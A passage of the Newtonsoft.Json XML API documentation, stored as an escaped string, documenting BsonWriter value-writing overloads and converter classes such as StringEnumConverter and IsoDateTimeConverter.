       <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteObjectId(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value that represents a BSON object id.\n            </summary>\n            <param name=\"value\">The Object ID value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRegex(System.String,System.String)\">\n            <summary>\n            Writes a BSON regex.\n            </summary>\n            <param name=\"pattern\">The regex pattern.</param>\n            <param name=\"options\">The regex options.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ConstructorHandling\">\n            <summary>\n            Specifies how constructors are used when initializing objects during deserialization by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.Default\">\n            <summary>\n            First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.AllowNonPublicDefaultConstructor\">\n            <summary>\n            Json.NET will use a non-public default constructor before falling back to a parameterized constructor.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BinaryConverter\">\n            <summary>\n            Converts a binary value to and from a base 64 string value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BsonObjectIdConverter\">\n            <summary>\n            Converts a <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.CustomCreationConverter`1\">\n            <summary>\n            Creates a custom object.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.Create(System.Type)\">\n            <summary>\n            Creates an object which will then be populated by the serializer.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The created object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value>\n            \t<c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DataSetConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Data.DataSet\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DataTableConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Data.DataTable\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DateTimeConverterBase\">\n            <summary>\n            Provides a base class for converting a <see cref=\"T:System.DateTime\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DateTimeConverterBase.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DiscriminatedUnionConverter\">\n            <summary>\n            Converts a F# discriminated union type to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.EntityKeyMemberConverter\">\n            <summary>\n            Converts an Entity Framework <see cref=\"T:System.Data.EntityKeyMember\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.EntityKeyMemberConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.EntityKeyMemberConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.EntityKeyMemberConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.ExpandoObjectConverter\">\n            <summary>\n            Converts an <see cref=\"T:System.Dynamic.ExpandoObject\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.ExpandoObjectConverter.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value>\n            \t<c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.IsoDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from the ISO 8601 date format (e.g. <c>\"2008-04-12T12:53Z\"</c>).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeStyles\">\n            <summary>\n            Gets or sets the date time styles used when converting a date to and from JSON.\n            </summary>\n            <value>The date time styles used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeFormat\">\n            <summary>\n            Gets or sets the date time format used when converting a date to and from JSON.\n            </summary>\n            <value>The date time format used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.Culture\">\n            <summary>\n            Gets or sets the culture used when converting a date to and from JSON.\n            </summary>\n            <value>The culture used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from a JavaScript <c>Date</c> constructor (e.g. <c>new Date(52231943)</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.KeyValuePairConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Collections.Generic.KeyValuePair`2\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.RegexConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Text.RegularExpressions.Regex\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.StringEnumConverter\">\n            <summary>\n            Converts an <see cref=\"T:System.Enum\"/> to and from its name string value.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.CamelCaseText\">\n            <summary>\n            Gets or sets a value indicating whether the written enum text should be camel case.\n            The default value is <c>false</c>.\n            </summary>\n            <value><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how enum text is written.\n            </summary>\n            <value>The naming strategy used to resolve how enum text is written.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.AllowIntegerValues\">\n            <summary>\n            Gets or sets a value indicating whether integer values are allowed when serializing and deserializing.\n            The default value is <c>true</c>.\n            </summary>\n            <value><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"camelCaseText\"><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(Newtonsoft.Json.Serialization.NamingStrategy,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategy\">The naming strategy used to resolve how enum text is written.</param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[],System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            <c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.UnixDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from Unix epoch time\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.VersionConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Version\"/> to and from a string (e.g. <c>\"1.2.3.4\"</c>).\n            </summary>\n        </member>\n        <member 